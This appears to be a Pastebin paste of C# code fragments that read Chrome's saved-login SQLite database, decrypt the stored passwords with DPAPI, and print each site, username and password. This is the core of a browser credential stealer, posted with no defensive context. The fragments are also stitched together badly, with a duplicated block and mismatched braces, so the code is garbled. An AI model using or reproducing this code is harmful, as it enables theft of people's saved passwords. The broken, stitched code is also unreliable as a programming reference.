Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static SQLiteConnection connection;
- public static SQLiteDataReader reader;
- using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
- {
- connection.Open();
- SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
- using (reader = command.ExecuteReader())
- {
- string host = null;
- string user = null;
- string pass = null;
- while (reader.Read())
- {
- host = reader["origin_url"].ToString();
- user = reader["username_value"].ToString();
- pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
- if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
- {
- Console.WriteLine("{0},{1},{2}",host,user,pass);
- }
- }
- }
- }
- if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
- {
- Console.WriteLine("{0},{1},{2}",host,user,pass);
- }
- public static void DB()
- {
- try
- {
- using (con = new SQLiteConnection(string.Format(@"Data Source={0};Version=3;New=False;Compress=True;", Path)))
- {
- con.Open();
- using (SQLiteCommand cmd = new SQLiteCommand(con))
- {
- cmd.CommandText = query;
- cmd.CommandType = CommandType.Text;
- using (reader = cmd.ExecuteReader())
- do
- {
- if (!string.IsNullOrEmpty(reader["username_value"].ToString()))
- {
- byte[] decrypted = ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.LocalMachine);
- Console.WriteLine(reader["username_value"].ToString());
- Console.WriteLine(Encoding.ASCII.GetString(decrypted));
- Console.WriteLine(reader["origin_url"].ToString());
- i++;
- }
- } while (reader.Read());
- }
- }
- con.Close();
- }
- catch (SQLiteException ex) { Console.Write(ex.Message); }
- finally { con.Close(); }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement